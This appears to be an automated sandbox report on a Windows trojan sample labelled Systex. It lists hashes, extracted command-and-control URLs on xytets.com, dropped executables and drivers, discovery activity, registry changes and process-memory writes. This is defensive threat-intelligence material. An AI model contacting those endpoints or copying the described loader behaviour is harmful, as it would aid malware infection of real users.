systex | a2a0311c858867046a8fc3706ae0a83f057870688e5fa341ab570a534b528258

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260604-thhfeaav6w
SHA256 a2a0311c858867046a8fc3706ae0a83f057870688e5fa341ab570a534b528258
MD5 db2f575b77b11ee4cd4e4380f937691d
SHA1 b12b6398dc904208c958fc003ce7dcf341bc987e
SHA512 9163ee3c24266fab52fea9d430a3f3c4586b429088bd911ea947158b1a78d477e68642bbe975c256650605d22cef35ff1727a65d1e9aa9db9692f1ce707ec00c
SSDEEP 3072:RJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:RghLQ0sQmpcF8BzXfwVfAI
TLSH
T11B344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3800	CP.exe
948	hczusmkfcu.exe
3212	CP.exe
3508	CP.exe
2376	i_hczusmkfcu.exe
4760	cwuomkecwu.sys
4128	CP.exe
2212	zurpjhezwu.exe
4168	CP.exe
2192	CP.exe
1972	i_zurpjhezwu.exe
3160	mhezpjhbzt.sys
1936	CP.exe
1716	trmjebwurm.exe
3604	CP.exe
3384	CP.exe
2624	i_trmjebwurm.exe
1276	eywqojgbzt.sys
4568	CP.exe
2396	wrdbwtolge.exe
4716	CP.exe
1268	CP.exe
752	i_wrdbwtolge.exe
4304	trljdbvtol.sys
2992	CP.exe
4780	lgaytqljdb.exe
4020	CP.exe
1680	CP.exe
912	i_lgaytqljdb.exe
3744	gaysqlidav.sys
3128	CP.exe
4136	vqoigaysql.exe
1812	CP.exe
4636	CP.exe
2000	i_vqoigaysql.exe
2276	aysicaysql.sys
3928	CP.exe
4144	kicavsqkfd.exe
5080	CP.exe
3728	CP.exe
436	i_kicavsqkfd.exe
4608	snifaxsqki.sys
2304	CP.exe
448	usmkfcxvpn.exe
3444	CP.exe
1256	CP.exe
3380	i_usmkfcxvpn.exe
2872	fcxvpnhfzx.sys
4156	CP.exe
4300	smkecxusnh.exe
1540	CP.exe
692	CP.exe
2972	i_smkecxusnh.exe
2392	smkfzxupjh.sys
2096	CP.exe
2588	hfzxrpjhcz.exe
2376	CP.exe
1048	CP.exe
4604	i_hfzxrpjhcz.exe
2176	ecwuomhezx.sys
1324	CP.exe
4284	uomgeywrom.exe
1508	CP.exe
2872	CP.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_869128736\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_869128736\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_1616801250\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_1616801250\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_304457189\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_536568077\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_304457189\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4536_304457189\smart_switch_list.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkecxusnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czusmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmkecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbztomgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aywqojdayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axspkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrmgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqoigaysql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aywqojdayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xsnkfcxvpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czusmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trmjebwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrdbwtolge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqoigaysql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicavsqkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicavsqkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomgeywrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbztomgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurpjhezwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trmjebwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xsnkfcxvpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hczusmkfcu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurpjhezwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hczusmkfcu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrdbwtolge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmkecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomgeywrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axspkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrmgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkecxusnh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1552	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
384	ipconfig.exe
2000	ipconfig.exe
3060	ipconfig.exe
2068	ipconfig.exe
660	ipconfig.exe
4248	ipconfig.exe
3140	ipconfig.exe
940	ipconfig.exe
2692	ipconfig.exe
2624	ipconfig.exe
3652	ipconfig.exe
4752	ipconfig.exe
4120	ipconfig.exe
4844	ipconfig.exe
1556	ipconfig.exe
732	ipconfig.exe
2848	ipconfig.exe
2280	ipconfig.exe
3348	ipconfig.exe
2468	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 48 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "9"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\HomepagesUpgradeVersion = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateLowDateTime = "1691506780"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateHighDateTime = "31257717"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134250626059624677"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2409539145-3342400454-2096821238-1000\{A3D0E335-0C12-4B8B-A250-A7988462A9A6}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
948	hczusmkfcu.exe
948	hczusmkfcu.exe
948	hczusmkfcu.exe
948	hczusmkfcu.exe
948	hczusmkfcu.exe
948	hczusmkfcu.exe
948	hczusmkfcu.exe
948	hczusmkfcu.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	2376	i_hczusmkfcu.exe
Token: SeDebugPrivilege	1972	i_zurpjhezwu.exe
Token: SeDebugPrivilege	2624	i_trmjebwurm.exe
Token: SeDebugPrivilege	752	i_wrdbwtolge.exe
Token: SeDebugPrivilege	912	i_lgaytqljdb.exe
Token: SeDebugPrivilege	2000	i_vqoigaysql.exe
Token: SeDebugPrivilege	436	i_kicavsqkfd.exe
Token: SeDebugPrivilege	3380	i_usmkfcxvpn.exe
Token: SeDebugPrivilege	2972	i_smkecxusnh.exe
Token: SeDebugPrivilege	4604	i_hfzxrpjhcz.exe
Token: SeDebugPrivilege	2072	i_uomgeywrom.exe
Token: SeDebugPrivilege	3960	i_jdbztomgeb.exe
Token: SeDebugPrivilege	3748	i_jdbvtolgey.exe
Token: SeDebugPrivilege	4280	i_aywqojdayt.exe
Token: SeDebugPrivilege	1304	i_qnifaysqki.exe
Token: SeDebugPrivilege	2752	i_axspkicaus.exe
Token: SeDebugPrivilege	572	i_xsnkfcxvpk.exe
Token: SeDebugPrivilege	3300	i_czusmkecwu.exe
Token: SeDebugPrivilege	5016	i_rmkecwuomg.exe
Token: SeDebugPrivilege	1160	i_hbztrmgeyw.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4536	msedge.exe
4536	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 1068	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	80
PID 2480 wrote to memory of 4960	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	81
PID 4960 wrote to memory of 4144	4960	iexplore.exe	82
PID 1068 wrote to memory of 4536	1068	iexplore.exe	83
PID 4536 wrote to memory of 2408	4536	msedge.exe	84
PID 4536 wrote to memory of 1552	4536	msedge.exe	85
PID 4536 wrote to memory of 3436	4536	msedge.exe	86
PID 4536 wrote to memory of 3436	4536	msedge.exe	86
PID 4536 wrote to memory of 3436	4536	msedge.exe	86
PID 4536 wrote to memory of 2024	4536	msedge.exe	87
PID 4536 wrote to memory of 2024	4536	msedge.exe	87
PID 4536 wrote to memory of 2192	4536	msedge.exe	89
PID 4536 wrote to memory of 2192	4536	msedge.exe	89
PID 4536 wrote to memory of 2192	4536	msedge.exe	89
PID 4536 wrote to memory of 3428	4536	msedge.exe	90
PID 4536 wrote to memory of 3428	4536	msedge.exe	90
PID 4536 wrote to memory of 3428	4536	msedge.exe	90
PID 4536 wrote to memory of 1536	4536	msedge.exe	92
PID 4536 wrote to memory of 2612	4536	msedge.exe	93
PID 4536 wrote to memory of 5016	4536	msedge.exe	94
PID 4536 wrote to memory of 4048	4536	msedge.exe	95
PID 4536 wrote to memory of 1536	4536	msedge.exe	92
PID 4536 wrote to memory of 1536	4536	msedge.exe	92
